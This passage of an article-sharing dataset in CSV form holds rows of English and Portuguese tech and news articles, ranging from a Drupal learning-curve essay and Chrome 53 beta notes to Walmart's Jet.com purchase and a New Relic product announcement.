resources are less polished, and harder to find. You don't know what you don't know. Which also means you don't know what to Google for. It's a much shorter period than the initial phase, and you might not even know you're in it. Your confidence is still bolstered based on your earlier successes, but frustration is mounting as you're unable to complete what you thought would be simple goals. This is the formulation of the cliff, and, like it or not, you're about to jump right off. Phase 3 Eventually you'll get overwhelmed and step off the cliff, smash yourself on the rocks at the bottom, and wander aimlessly. Every new direction seems correct but you're frequently going in circles and you're starving for the resources to help. Seth Godin refers to this as ""the dip"" , and Erik Trautman calls it the ""Desert of Despair"" . Whatever label you give it, you've just fallen off the Drupal learning cliff. For many people this is a huge confidence loss. Although you're still gaining competence, it's hard to feel like you're making progress when you're flailing so much. In this phase you know how to implement a hook but not which hook is the right one. You know how to use fields but not the implications of the choice of field type. Most of your questions will start with why , or which . Tutorials like those on Drupalize.Me can go a long ways toward teaching you how to operate in a pristine lab environment, but only years of experience can teach you how to do it in the real world. As much as we might like to, it's unrealistic to expect that we can create a guide that answers every possible permutation of every question. Instead, you need to learn to find the answers to the questions on your own by piecing together many resources. The scope of knowledge required to get through this phase is huge. And yet the availability of resources that can help you do it is limited. Because, as mentioned before, you're now into solving your own unique problems and no longer just copying someone else's example. Phase 4 If you persevere long enough you'll eventually find a path through the darkness. You have enough knowledge to formulate good questions, and the ability to do so increases your ability to get them answered. You gain confidence because you appear to be able to solve real problems. Your task now is to learn best practices, and the tangential things that take you from, ""I can build a website"", to ""I can launch a production ready project."" You still need to get through this phase before you'll be confident in your skills as a Drupal developer, but at this point it's mostly just putting in time and getting experience. During this phase, resources that were previously inaccessible to you are now made readily available. Your ability to understand the content and concepts of technical presentations at conferences, industry blog posts, and even to participate in a conversation with your peers is bolstered by the knowledge you gained while wandering around the desert for a few months. You're once again gaining confidence in your own skills, and your confidence is validated by your ability to continue to attain loftier goals. And then some morning you'll wake up, and nothing will have changed, but through continually increasing confidence and competence you'll say to yourself, ""Self, I'm a Drupal developer. I'm ready for a job."" What resources can help you get through phase 3? So here's my questions: What resources do you think are currently available, and useful, for aspiring Drupal developers who are currently stuck in phase 3, wandering around the desert without a map asking themselves, ""Panels or Context?""? What resources do you think would help if they existed? If you're on the other side, how did you personally get through this dip? Responses from Lullabot I asked this same question internally at Lullabot a few days ago, and here are some of the answers I received (paraphrased). Hopefully this helps jog your own memory of what it was like for yourself. Or even better, if you're stuck in the desert now, here's some anecdotal evidence that it's all going to be okay. You're going to make it out alive. For me, it was trial and error. I would choose a solution that could solve the particular problem at hand most efficiently, and then I would overuse it to the extreme. The deeper lessons came months later when changes had to be made and I realized the mistakes I had made... Learning usually came also from working with others more experienced. Getting the confidence to just read others' code and step through it is also a big plus. building something useful++. That's the absolute best way. Can't believe I forgot to mention it. Preferably something that interests you or fulfills your own need. You still fall off the cliff, but you at least see the fall coming, and your ability to bounce back is better. At this stage I find that the best resources are people, not books or tutorials. A mentor. Someone that can patiently listen to your whines and frustrations and suggest the proper questions to ask, and who can give you the projects and assignments that help you grow and stretch. Everything I know about Drupal I know through years of painful trial and error and shameless begging for help in IRC. I spent a lot of time desperately reading Stack Overflow, or trying to figure a bug out from looking at an issue where the patch was never merged, or reading through a drupal.org forum where somebody tries to solve something but then just ends with ""nevermind, solved this"" without saying why. I'd agree that people is what gets you through that. I learned IRC and how to write patches and get help from individuals and that is when the doors opened. Another approach that really boosted me to the next level, especially early on in my career as a developer, was to work with someone that you can just bounce ideas off of. I'll never forget all the hacking sessions Jerad and I had back in the day. Coding at times can be boring, or the excitement of doing something awesome is self-contained. Being able to share ideas, concepts, and example code with someone that appreciates the effort or awesomeness of something you've done and at the same time challenges you to take it to the next level is priceless. Printing out the parts of Drupal code I wanted to learn: node, taxonomy and reading comments and code like a gazillion times. Try and code something useful so I could ask others for help. That's how I wrote the path aliasing module for core. I often find that as you get into more complicated, undocumented territory, being able to read code is super valuable. You can often get lost in disparate blog posts, tutorials and forums that can lead you all sorts of ways. The code is the ultimate source of truth. Sometimes it takes firing up a debugger, stepping through the parts that matter to see how things are connected and why.",en
1470677636,CONTENT SHARED,-8947720860550700506,3396828831632510915,-7987530493025538165,,,,HTML,http://exame.abril.com.br/negocios/noticias/walmart-compra-startup-para-brigar-com-amazon,Walmart compra startup para brigar com Amazon | EXAME.com,"São Paulo - Walmart anunciou hoje, 8, a aquisição da Jet.com, startup de comércio eletrônico, por US$ 3 bilhões em dinheiro e mais US$ 300 milhões em ações. A compra irá impulsionar as vendas pelo site ou aplicativo e fazer frente ao crescimento acelerado de sua maior concorrente , a Amazon. Na última conferência com analistas, o CEO do Walmart Doug McMillon afirmou que as vendas online evoluem muito lentamente e que a empresa precisava expandir o número de produtos vendidos e de parceiros da plataforma. Com a aquisição bilionária, ""estamos buscando maneiras de cortar preços, ampliar o sortimento e oferecer a experiência de compra mais simples e fácil possível, porque é isso que os consumidores querem"", afirmou. A empresa tem dificuldade em acompanhar a rápida evolução da rival, que angaria um público fiel - e pagante. O número de assinantes da Amazon , chamados Prime, ultrapassou os não pagantes, ao alcançar 63 milhões em junho. Com entregas em até uma hora e descontos especiais, eles têm poucos motivos para fazer compras nos concorrentes. Enquanto o Walmart faturou US$ 14 bilhões com vendas online no último ano, ou apenas 3% das receitas totais, o faturamento dela foi de US$ 107 bilhões, incluindo o serviço de nuvem. Unicórnio A Jet.com pode ajudar nessa disputa, por ser dos comércios eletrônicos que mais cresce. Lançado em 2015, alcançou em pouco tempo e 12 milhões de usuários únicos por mês. Ainda muito jovem, entrou no seleto grupo de startups que têm valor de mercado de mais de US$ 1 bilhão, os chamados ""unicórnios"". O site recebe cerca de 400.000 novos consumidores mensalmente e 25.000 pedidos todo dia e promete preços 10% a 15% mais baixos que os de concorrentes. A promessa certamente chamou a atenção, ainda que ao custo de milhões de dólares em marketing. Para reduzir custos de frente, oferece descontos para pedidos grandes, com muitas mercadorias enviadas juntas. O marketplace tem mais de 2.400 lojistas. Os fundadores da startup são Marc Lore, Mike Hanrahan e Nate Faust. Lore, que hoje é CEO da Jet, fundou a Quidsi, empresa dona dos sites Diapers.com, Soap.com e Wag.com e que foi vendida. Ele terá uma posição de liderança na divisão de vendas on-line no Walmart, e o atual executivo da área, Neil Ashe, sairá da companhia, afirmou o Wall Street Journal . Walmart e Jet continuarão atuando como marcas distintas. Enquanto a gigante manterá sua estratégia de preços baixos todo dia, a Jet buscará atrair jovens com seleção de produtos e experiência de compra voltada a esse público. A startup ainda ganha acesso à infraestrutura da varejista, como os 7 centros de distribuição nos Estados Unidos. A operação precisa ser aprovada por órgãos reguladores.",pt
1470678308,CONTENT SHARED,-7722236679806608274,-1578287561410088674,7456304865870051305,,,,HTML,http://blog.chromium.org/2016/08/chrome-53-beta-shadow-dom.html,"Chrome 53 Beta: Shadow DOM, PaymentRequest, and Android autoplay","Unless otherwise noted, changes described below apply to the newest Chrome channel release for Android, Chrome OS, Linux, Mac, and Windows. Shadow DOM allows an element to encapsulate its style and child DOM away from the main document. Developers can now build components and safely include them in webpages regardless of other technologies being used. Chrome 53 supports Shadow DOM V1 , the latest version of the API. V1 has some significant changes from the V0 version, and is broadly agreed-upon by major browser vendors. Chrome will support both versions of the API until enough developers have moved to V1. The behavior of a shadow root is determined by which API call it was created with. Completing payments on the web can be a cumbersome process for users, leading to lower conversions on sites. While has made it easier to enter information, efficient data entry on mobile is still a challenge. PaymentRequest allows for fast, seamless, and secure payments on the web using a credit card or Android Pay . It also lets users provide a billing address, shipping details, and payer information without typing. PaymentRequest is available on Chrome for Android, with support for more platforms coming soon. Chrome for Android autoplays muted video Video is a great way for sites to reach their users, but it can be jarring when it plays unexpectedly. This is especially true on mobile, where the user may be in an environment where audio is unwanted. Chrome on Android now allows muted videos to begin playing without user interaction. If the video was marked as muted and has the attribute, Chrome will start playing the video when it becomes visible to the user. Developers can also use script to play muted videos without user interaction. Muted videos that begin playing sound before a user action will automatically be paused. Other features in this release Deprecations and interoperability improvements Events generated by script will no longer trigger default actions, improving spec compliance and browser interop. HTTP/0.9 has been deprecated in favor of , which adds response header support. TLS Diffie-Hellman ciphers have been removed , following their deprecation in M51 due to security concerns. Connections to servers unable to negotiate a non-DHE cipher will result in a ERR_SSL_OBSOLETE_CIPHER error. Posted by Hayato Ito, Shadow DOM Chaffeur",en
1470679884,CONTENT SHARED,6285786669275987455,-5527145562136413747,4211926417750497304,,,,HTML,http://priberam.pt/dlpo/,Dicionário Priberam da Língua Portuguesa,"O Dicionário Priberam da Língua Portuguesa (DPLP) é um dicionário de português contemporâneo que contém mais de 110 000 entradas lexicais, incluindo locuções e fraseologias, cuja nomenclatura compreende o vocabulário geral, bem como os termos mais comuns das principais áreas científicas e técnicas. O dicionário contém sinónimos sinônimos e antónimos antônimos por acepção e permite ainda a conjugação verbal. É também possível consultar informação sobre a origem de algumas palavras e a sua pronúncia. O DPLP permite a consulta de acordo com a norma do português europeu ou de acordo com a do português do Brasil, com ou sem as alterações gráficas previstas pelo Acordo Ortográfico de 1990. Para informações pormenorizadas, deverá aceder à secção Como consultar . Quaisquer sugestões ou correções devem ser enviadas para dicionario@priberam.pt .",pt
1470689163,CONTENT SHARED,8028897172674067530,3609194402293569455,4378349498210710851,,,,HTML,http://tutorialzine.com/2016/08/20-awesome-php-libraries-for-summer-2016/,20 Awesome PHP Libraries For Summer 2016,"20 Awesome PHP Libraries For Summer 2016 Danny Markov Initially released in 1995, the PHP language is now of legal drinking age, but this doesn't stop it from still being one of the most popular languages out there, and the first choice of many back-end developers. The PHP community on GitHub is also one of the biggest and most active, with new awesome projects coming out constantly. Here are our picks for the 20 most useful and interesting open-source PHP libraries that you should check out - 2016 edition! With Monolog you can create advanced logging systems by sending your PHP logs to files, sockets, databases, inboxes or other web services. The library has over 50 handlers for various utilities and can be integrated into frameworks such as Laravel, Symfony2 and Slim. A set of PHP classes that allow developers to easily implement spreadsheet editing in their apps. The library can read and write spreadsheet documents in a number of popular formats including Excel (both .xls and .xlsx), OpenDocument (.ods), and CSV to name a few. An interesting library for experimenting with Machine Learning, PHP-ML gives you an easy to use API for training your bot and making it do predictions based on input data. It offers a variety of different algorithms for pattern recognition and complex statistics calculations. Library for enabling users to authenticate themselves via their account in social networks or other services. Of course all the big names are available: Google, Facebook, Twitter, Github, Instagram, LinkedIn. Opauth is supported by many PHP frameworks so it can be easily integrated in most PHP apps. Whoops greatly improves the debugging experience in PHP by displaying a detailed error page when something breaks in an app. This error page gives us the full stack trace showing the specific files and snippets of code that caused the exception, all syntax-highlighted and colorful. The Laravel framework comes with Whoops built-in. Implementing this caching system in your PHP apps is guaranteed to make them load way quicker by reducing the amount of queries sent to the database. Instead of executing every DB query, FastCache sends only the unique ones, saves them as cache, and then serves them from there for each repetition. This way if you have the same query repeated 1000 times, it will be loaded from the DB one time, the rest 999 loads will be from cache. Guzzle is one of the best HTTP clients out there. It can handle almost any HTTP task that you throw at it: synchronous and asynchronous requests, HTTP cookies, streaming of large uploads and downloads. Working with Guzzle is really easy and the docs are well written with lots of examples and detailed explanations. Munee has lots of tricks up its sleeve: combining several CSS or JavaScript requests into one, image resizing, automatic compilation for Sass, Less and CoffeeScript files, as well as minification and Gzip compression. All of the previously mentioned processes are cached both server-side and client-side for optimal performance. Templating engine with a very clean ""mustache"" syntax that makes markup shorter and easier to write. Twig offers everything you would expect from a modern templating library: variable escaping, loops, if/else blocks, as well as a secure sandbox mode for verifying template code. Goutte is a Web Scraper that can crawl websites and extract HTML or XML data from them. It works by sending a request to a given URL and returning a Crawler object, which allows the developer to interact with the remote page in various ways. Climate is a library for people who run PHP from the command line. It offers a collection of methods for talking to the terminal (both input and output), and also some beautifying functions for coloring and formatting. It can even draw and animate cool ASCII art. Built on top of Faker , Alice is a library that generates fake data objects for testing. To use it you first have to define the structure of your objects and what data you want in them. Then with a simple function call Alice will transform this template into an actual object with random values. The Ratchet library adds support for the WebSockets interface in apps with a PHP backend. WebSockets enable two-way communication between the server and client side in real time. For this to work in PHP, Ratchet has to start a separate PHP process that stays always running and asynchronously sends and receives messages. No PHP library collection is complete without PHPMailer. This project is backed by a huge community and is implemented in popular systems such as WordPress and Drupal, making it the safest choice for sending emails in PHP. It has SMTP support, can do HTML-based emails, and much more. Hoa isn't actually a PHP library - it's an entire set of PHP libraries, containing all kinds of useful web development utilities. Although not all are fully documented, there are 50+ libraries right now, with new ones constantly being added. It's completely modular so you can select only the libraries you need without any clutter. Anyone who has tried creating HTML emails knows what a pain it is to inline all of the CSS rules. This small PHP Class does the whole job for you, saving you lots of time and nerves. Just write your styles in a regular .css file and the PHP library will use the selectors to assign them at the proper tags. Library for doing all kinds of string manipulations. It offers a ton of different methods for modifying text ( reverse() , htmlEncode() , toAscii() etc.) or gather information about a string ( isAlphanumeric() , getEncoding() , among others). A cool thing about Stringy is that it also works with special symbols like Greek or Nordic letters; Robo is a Gulp-like task runner, only for PHP. With it you can set up automations that improve your workflow and the time it takes to build a project after making changes. Robo can run tests, compile code from preprocessors, handle version control updates, and many other useful tasks. This library takes variables and transforms them into a more human-readable format using a set of methods. For example it can turn Roman numerals into numbers, truncate long strings, and calculate bytes to kB/MB/GB. Support for over 15 languages (the spoken kind, not programming ones). The last item on our list is this small library for extracting colors from images. It iterates all of the pixels in a given picture and returns a palette of the colors on it sorted by total area. Developers can then use this palette to get the most dominant colors and adapt the design according to them. by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1470689584,CONTENT SHARED,161784308223385549,-6067316262393890508,-5335177575630462460,,,,HTML,http://www.sonhoseguro.com.br/2016/08/sompo-seguros-aproveita-onda-do-pokemon-go-para-alertar-sobre-seguranca-no-transito/,"Sompo Seguros aproveita ""onda"" do Pokémon Go para alertar sobre segurança no trânsito | Sonho Seguro","Release A Sompo Seguros, empresa do Grupo Sompo Holdings - um dos maiores grupos seguradores do mundo - aproveitou o lançamento do game Pokémon Go, disponibilizado para download no Brasil na tarde de ontem, para chamar atenção das pessoas para a questão da segurança viária. Por conta da série de acidentes já registrados no exterior envolvendo aficionados pelo game, a RMA Comunicação, agência da companhia, criou uma ação de oportunidade para alertar os usuários sobre a importância de jogar somente no momento adequado. Sob o mote ""Se for capturar, não dirija"", a peça indica que a distração de jogar enquanto se está ao volante pode ser tão ou mais perigosa do que dirigir alcoolizado. Postada minutos após o game estar disponível para download, a peça traz junto o comentário Fique sempre atento quando estiver comandando o volante. E nem pense em capturar algum Pokémon se estiver dirigindo e #PokemonGo. Utilizar o celular enquanto se está ao volante não é uma boa ideia em nenhum aspecto. Estudos indicam que digitar ao celular enquanto se está na direção aumenta em até 400% o risco de acidentes de trânsito. Além disso, em 5 de maio foi publicada a Lei 13.281/2016, que, entre outras atribuições, definiu novos valores de multas de trânsito. Em novembro, a infração por manusear o telefone celular enquanto estiver ao volante, que hoje é considerada média, passará a ser gravíssima. E o valor da multa passa de R$ 130,16 para R$ 293,47. Em outras palavras, direção e celular é uma combinação que pode pôr em risco a saúde e o bolso. Lançado no início de julho e já disponível em vários países, o Pokémon Go virou uma verdadeira ""febre"". O problema é que alguns usuários estiveram tão empenhados em capturar os personagens que descuidaram da própria segurança. Com isso, uma série de acidentes foram registrados em vários lugares do mundo. Veja alguns deles: 28/07 - Um motorista de 19 anos bateu com seu carro em uma escola na cidade de Melbourne, na Austrália, enquanto jogava o game. Segundo o jornal local ""The Age"", a polícia acredita que o jovem estava distraído com o aplicativo em seu smartphone. Em 25/07 - Um brasileiro de 24 anos foi encontrado pela polícia de Gifu, região central do Japão, andando por uma via expressa enquanto jogava em seu smartphone, informou o site Newsonjapan.com. A polícia informou que o jovem estava somente há três meses no País e havia ido à um churrasco, mas se separou de seus acompanhantes enquanto jogava. Em outra notícia, o mesmo site informou que o Governo do Japão já havia divulgado alerta para que as pessoas tomassem cuidado e evitassem acidentes, principalmente ao caminhar ou andar de bicicleta. 20/07 - A polícia da cidade norte-americana de Baltimore registrou o momento logo após um motorista que esteva jogando no celular bater em uma viatura da corporação estacionada na rua, segundo noticiado pela Fox News. ""Acreditamos que atividades de lazer são importantes para a qualidade de vida. Mas é importante que as pessoas estejam atentas às questões de segurança para evitar a ocorrência de acidentes. A iniciativa foi mais uma oportunidade de lembrar o quanto pequenas atitudes podem fazer toda a diferença no trânsito, não só para segurança pessoal, mas também para o bem-estar coletivo"", Andre Gouw, Gerente de Comunicação e Marketing da Sompo Seguros.",pt
1470712402,CONTENT SHARED,6317717254029043123,-709287718034731589,54306232545640498,,,,HTML,http://9to5mac.com/2016/08/08/apple-makes-it-easier-to-for-developers-to-upload-app-screenshots-via-itunes-connect/,Apple makes it easier to for developers to upload app screenshots via iTunes Connect,"During a developer session at WWDC in June, Apple revealed that it would soon make uploading screenshots much easier for developers via iTunes Connect. Now, Apple has posted a new update on its Developer website confirming the change is now rolling out. With the change, developers can now submit just one set of screenshots and one optional app preview per device family. In the past, developers would have to upload screenshots for each different iPhone and iPad variant. Now, however, one set of screenshots will be used across all device sizes and localizations. Apple notes, however, that if your app's UI or behavior changes based on device say or location, you can still upload custom screen sheets via the new Media Manager in iTunes Connect. Now it's easier than ever to deliver your screenshots and app preview using iTunes Connect. Submit just one set of screenshots and one optional app preview per device family, and they will be used across device sizes and localizations. If your app's UI or behavior changes based on device size, or if you would like to include localized screenshots, you can use the new Media Manager to add custom screenshots. Learn more by watching What's New in iTunes Connect from WWDC16. The changes are accessible via iTunes Connect.",en
1470713068,CONTENT SHARED,-2587745393898245957,-709287718034731589,54306232545640498,,,,HTML,https://tecnoblog.net/199469/criancas-esquecidas-carro/,Crianças esquecidas no carro: quando nem a tecnologia pode ajudar | Tecnoblog,"Na semana passada, o Waze ganhou uma função de lembrete para o usuário não esquecer o filho no carro. Em junho, a GM prometeu um sistema parecido em alguns veículos que serão lançados em 2017. Algumas cadeiras para crianças com alarme anti-esquecimento também estão sendo testadas. Além da finalidade proposta, sabe o que essas ideias trazem? Indignação: como alguém pode esquecer o próprio filho dentro do carro? Problema mais comum do que se pensa Vira e mexe o noticiário traz à tona a notícia de um bebê que morreu por ter sido esquecido no carro. Invariavelmente, a ocorrência gera comoção de grandes proporções. Há até casos em que a polícia tem que proteger os pais para evitar que eles sejam linchados. Não é de se estranhar que isso aconteça. A morte de uma criança em circunstâncias que podem ser facilmente evitadas faz muita gente pensar que aquele pai ou aquela mãe é uma pessoa irresponsável, negligente, imatura, fria, egoísta e por aí vai, o que também pode levar à crença de que a perda, para ela, não é tão importante assim. Grande equívoco. Na maioria esmagadora das vezes, essas pessoas amam e zelam pelos filhos tanto quanto os pais que bradam que nunca esquecerão um bebê dentro do carro. Até que esquecem: só nos Estados Unidos, estima-se que 40 crianças morrem por ano nessas circunstâncias. No Brasil não há números oficiais, mas o problema também ocorre por aqui. Na verdade, estamos diante de um fenômeno global. E olha que nem falamos das crianças esquecidas em carros que, felizmente, foram socorridas antes do pior. O assunto é tão sério que autoridades de trânsito e ONGs de várias partes do mundo fazem cada vez mais campanhas para nos alertar sobre a necessidade de redobrar a atenção com crianças pequenas dentro do carro. Uma delas é a Safe Kids Worldwide , que não só dá alertas, como realiza extensas investigações para diminuir as ocorrências do tipo. Pode acontecer com qualquer um David Diamond é um professor de psicologia da Universidade do Sul da Flórida que estuda o assunto desde 2004. Em artigo publicado recentemente no The Conversation , ele reconhece que, no início, assumiu a postura convencional: de que as mortes são causadas por pais negligentes ou indiferentes. Mas, após conversar com pessoas que passaram pelo problema e ouvir ligações gravadas de pais que contataram serviços de emergência após encontrarem o filho desfalecido dentro do carro, Diamond constatou que, na grande maioria dos casos, o elemento da negligência ou da indiferença não foi identificado. Como pode, então, um pai ou uma mãe sair do carro e deixar o filho lá? Cada caso tem que ser investigado e tratado individualmente, mas psicólogos, psiquiatras e outros especialistas que estudam o assunto dão como principal causa o ritmo de vida que força cada um a ficar ligado no ""piloto automático"": ficamos tão acostumados a uma rotina frenética que podemos falhar, ainda que momentaneamente, com uma atividade que foge dela. Imagine, como exemplo, a seguinte cena: o pai leva o filho à creche pela manhã; à tarde, a mãe fica responsável por buscar a criança. Mas, certo dia, a mãe teve que ficar até tarde no trabalho, então coube ao pai buscar o filho. Para piorar, aquele é o dia de fazer as compras da semana. O pai sai da creche, vai ao mercado e, atribulado que está, esquece que a criança ficou lá no banco traseiro. Note que o pai, no intuito de cumprir todas as suas tarefas, entrou no tal do modo automático. Depois do trabalho, ele dedica aquele dia da semana para ir ao mercado. Faz parte da rotina. Só que, naquela tarde, ele teve um compromisso não habitual: buscar o filho. Se não estivesse com a cabeça cheia de preocupações, muito provavelmente ele teria dado mais atenção ao filho e, consequentemente, lembrado dele dentro do carro. Sim, soa como uma coisa ridícula. Por mais atarefado que esteja, nenhum pai ou responsável pode se descuidar dessa forma. Mas, em muitos casos fatais, foram justamente essas circunstâncias que estiveram presentes. David Diamond explica que temos uma memória de hábito. É ela que permite que você realize tarefas repetitivas com bastante habilidade: levar seus filhos todo dia à escola pelo caminho certo e dirigir o carro sem errar a troca de marcha, por exemplo, acabam sendo tarefas executadas com mais eficiência nesse modo automático. A memória de hábito é extremamente importante para nós, portanto. O problema é que ela pode, ocasionalmente, suprimir a memória prospectiva, que é a que lida com o que vai acontecer: você a usa para lembrar de tomar um remédio à tarde ou pagar uma conta antes do vencimento, só para dar uma noção da sua importância. Questão de minutos Imagine, então, que todo dia de manhã você sai cedo para comprar pão. É uma rotina. A sua memória de hábito faz você levantar no mesmo horário, vestir as roupas e seguir pelo caminho certo até a padaria. Certo dia, você percebe que, além de pão, precisa comprar bolacha. Mas você está tão acostumado com a rotina acorda "" põe a roupa "" escova os dentes "" padaria "" ""me vê cinco pães"" "" casa que esquece da bolacha. A sua memória de hábito suprimiu a memória prospectiva. Segundo Diamond, algo parecido acontece em boa parte dos casos de crianças esquecidas no carro. E o risco de uma falha desse tipo se manifestar aumenta quando você está muito estressado, preocupado ou tem dormido pouco. Para piorar a situação, são necessários pouco minutos para que uma tragédia aconteça. A temperatura no interior de um carro pode aumentar 10 °C em cerca de 10 minutos. Quando o corpo atinge 40 °C ou mais, os riscos de danos aos órgãos aumentam expressivamente, especialmente em crianças. Nelas, o corpo pode esquentar de três a cinco vezes mais rápido que em um adulto, de acordo com a Safe Kids Worldwide. Ainda não há tecnologia de prevenção que resolva A função Child Reminder do Waze é uma das várias tentativas da indústria de enfrentar o problema com uma solução tecnológica. Basicamente, o recurso é um lembrete que deve ser habilitado por você que, ao término da viagem, exibe uma notificação sobre a criança no banco traseiro. Há até apps para esse fim . O sistema que a GM vai colocar nos carros da linha Acadia (não disponível no Brasil) em 2017 faz algo parecido, só que o alerta aparece no painel do veículo junto com um sinal sonoro. Dispositivos específicos para evitar o esquecimento de crianças nos carros também estão sendo testados. É o caso de cadeiras que combinam sensores com alarmes e até de pulseiras Bluetooth que disparam um sinal quando os pais se afastam alguns metros do filho. Porém, até agora, nenhuma solução mostrou resultados realmente convincentes. Primeiro porque a indústria está tomando bastante cuidado com essa questão: nenhuma empresa quer ser responsabilizada pela morte de uma criança no carro sob o argumento de que o sensor não funcionou ou algo assim. Fora isso, os recursos já amplamente disponíveis, com o Child Reminder do Waze, dependem de uma ação do usuário: muita gente pode não se lembrar de ativar a função ou simplesmente ignorá-la por achar que nunca irá precisar dela. Algumas dicas Diante disso, campanhas de conscientização continuam sendo a melhor forma de combater o problema. A Safe Kids Worldwide ressalta que, se as pessoas tiverem ampla ciência de que apenas alguns minutos são necessários para que uma criança morra de hipertermia (elevação da temperatura corporal) ou asfixia dentro de um carro, provavelmente serão mais atentas a isso - da mesma forma que ficamos atentos ao atravessar uma rua, por exemplo. Alguns truques simples também podem ajudar: Colocar músicas infantis quando a criança estiver no carro funciona como lembrete; Deixar bolsa, carteira ou celular no banco de trás (assim, você verá a criança ao pegar esses objetos); Colocar um objeto da criança (como um brinquedo) no volante ou painel do carro, como lembrete; Deixar a mochila dela no banco da frente; Criar o hábito de revisar todos os bancos ao sair do veículo; Colocar um retrovisor adicional que te permita ver a criança com facilidade.",pt
1470769964,CONTENT SHARED,-1634742667970363668,-1443636648652872475,8486002198741992178,,,,HTML,https://techcrunch.com/2016/08/09/google-cloud-platforms-preemptible-vms-are-now-up-to-33-cheaper/,Google Cloud Platform's preemptible VMs are now up to 33% cheaper,"For a while, Google, Amazon and Microsoft were constantly undercutting each other's cloud computing prices , but lately, it's been pretty quiet on that front. Today, however, Google is firing a new salvo by reducing the price of its preemptible virtual machines (VMs) by up to 33 percent. Preemptible VMs are Google's version of Amazon's spot instances for AWS (Microsoft Azure, though, doesn't currently offer this type of instance). As the names imply, there is no guarantee how long you'll be able to use a given machine, though. Google and Amazon use this system to bring up their utilization levels by offering access to these VMs for cheap when demand is low, but as demand picks up, they rotate them back into their regular pool, where they can charge more. The major difference between Google's and Amazon's approach is that while AWS uses an auction system for pricing these machines, Google offers its users set prices - and those prices can be up to 80 percent lower than those of the equivalent non-preemptible machine. On Google's platform, these machines can also only run for up to 24 hours, so they don't work well for every workload (on AWS, they will run until the spot price increases above what you paid). If you - and your workloads - are flexible, though, you can save quite a bit of money on using this type of VM. ""Our customers are using Preemptible VMs to analyze data, render movies, process satellite imagery, analyze genomic data, understand financial markets, transcode media and complete a variety of business and engineering tasks, using thousands of Preemptible VM cores in a single job,"" Google product manager Michael Basilyan writes in today's announcement. ""We believe that the price reduction for Preemptible VMs will unlock even more computing opportunities and enable you to tackle interesting science and business problems."" With a bit of luck, today's move by Google will also drive Amazon to drop its prices. If you can't use preemptible machines for your workloads, by the way, it's worth taking a look at Google's new "" VM Rightsizing Recommendations ."" This tool analyzes your VM utilization and then gives you suggestions for scaling machines up or down to better meet your needs.",en
1470771029,CONTENT SHARED,-3705763041224967421,6735372008307093370,2526079180563812701,,,,HTML,https://catracalivre.com.br/geral/cidadania/indicacao/brasileira-do-rugbi-e-pedida-em-casamento-durante-premiacao/,Brasileira do rúgbi é pedida em casamento durante premiação,"Os jogos olímpicos do Rio de Janeiro estão nos trazendo fortes emoções. Dessa vez, um caso que não está relacionado às campeãs das Olimpíadas tomou conta do noticiário. Na segunda-feira, dia 8, um inusitado pedido de casamento foi feito para a jogadora da seleção brasileira de rúgbi Isadora Cerullo, a Izzy, por sua namorada, Marjorie Enya, que é voluntária e trabalha como gerente de serviços das competições de rúgbi. A cena ocorreu em frente às arquibancadas, após a cerimônia de entrega de medalhas que premiou a Austrália como campeã olímpica da modalidade, após bater a Nova Zelândia. Marjorie aproveitou que a equipe brasileira assistia à entrega das medalhas e, após a cerimônia, pegou o microfone e declarou seu amor à amada. Elas estão juntas há dois anos. O pedido foi aceito aos beijos, com os torcedores nas arquibancadas aplaudindo o gesto. ""A Olimpíada pode estar no fim, mas para mim é o início de uma nova vida com alguém. Quis mostrar às pessoas que o amor vence"", disse Marjorie à BBC. A cena emocionante virou assunto nas redes sociais aqui no Brasil e pelo mundo. Confira os comentários: MY HEART!!! Volunteer Marjorie Enya kisses rugby player Isadora Cerullo after proposing �� �� �� #LoveIsLove pic.twitter.com/zVa9FqPSX8 - Danielle Warby (@DanielleWarby) August 9, 2016 Volunteer Marjorie Enya proposes to #BRA #rugby player Isadora Cerullo...and she says yes! #loveislove ❤️ pic.twitter.com/ubiJuRe46p - News-clexakru (@commander_press) August 9, 2016 Voluntária pede parceira e jogadora de Rugby do Brasil, Isadora Cerullo em casamento no campo! �� #LoveWins #Rio2016 pic.twitter.com/i8wxzCRbhe - Valéria Rios (@LellaRios) August 9, 2016 I don't get rugby, but I get love. Congrats to Isadora Cerullo and Marjorie Enya. #BRA ���� pic.twitter.com/jIZzlLXEZj - Dale Rossman (@dale_rossman) August 9, 2016 SHE SAID YES: Girlfriend Of Brazilian Olympic Rugby Player Isadora Cerullo Proposes ... - pic.twitter.com/zb0UhmSKs4 - JoeMyGod (@JoeMyGod) August 9, 2016",pt
1470778720,CONTENT SHARED,-8728075196312712282,881856221521045800,-1456003950849522411,,,,HTML,http://www.theverge.com/2016/8/9/12414566/soylent-coffiest-coffee-meal-replacement-drink,Soylent's new drink will replace your breakfast and morning coffee,"Soylent, the famed meal replacement that went on to find a devoted fanbase online and in Silicon Valley, isn't done innovating on its formula. The company has today released a brand-new drink: Coffiest . Packed with 150mg of caffeine, coffee flavor, and the same nutrients that come with Soylent 2.0 , the drink promises to replace not only breakfast but your morning cup of coffee. Replace both breakfast and your morning cup of coffee Coffiest, like Soylent before it, is meant for people too busy to set aside time for their meals, while also appealing to those who don't quite have the time to mix powder and water. Here, there's soy protein and alga oil for nutrition, with actual coffee and L-theanine to reduce the jitters. The company claims that Coffiest has roughly the same amount of caffeine as two 8-ounce cups of coffee. (Which is way too much for me, but hey.) And Soylent also hopes that the drink will help ease people into drinking Soylent 2.0. Of course, there's more on the way from Soylent. The company is also releasing Soylent Bar, which it's marketing as a snack or small meal. Coffiest is available right now for $37.05 per case for subscribers and $39 for one-time orders.",en
1470828955,CONTENT SHARED,3099207916247126790,881856221521045800,-6443124096966155946,,,,HTML,https://blog.newrelic.com/2016/08/09/infrastructure-live-state-private-beta/,Introducing New Relic Infrastructure,"Today at our FutureStack16 Tour: New York conference , we announced the private beta of New Relic Infrastructure , a new infrastructure monitoring product focused on supporting the needs of modern operations teams. New Relic Infrastructure uniquely brings together configuration monitoring, real-time health metrics, and a dynamic, tag-driven approach to alerting and dashboards to provide you unprecedented visibility of your ever-changing infrastructure. When an issue arises, you'll know in seconds if a recent config change was the cause, and when and where it was made. If you're interested in seeing what New Relic Infrastructure can do for you, please sign up to request an invitation to the private beta program here . To learn more, visit New Relic.com/Infrastructure , and attend our free webinar on Tuesday, September 13, at 11 a.m. Pacific Time (2 p.m. Eastern Time). Our world is changing-it's time for new tools If you're part of an ops team or responsible for maintaining services in production, you're likely dealing with more changes than ever before. The move to agile development with continuous integration/continuous deployment 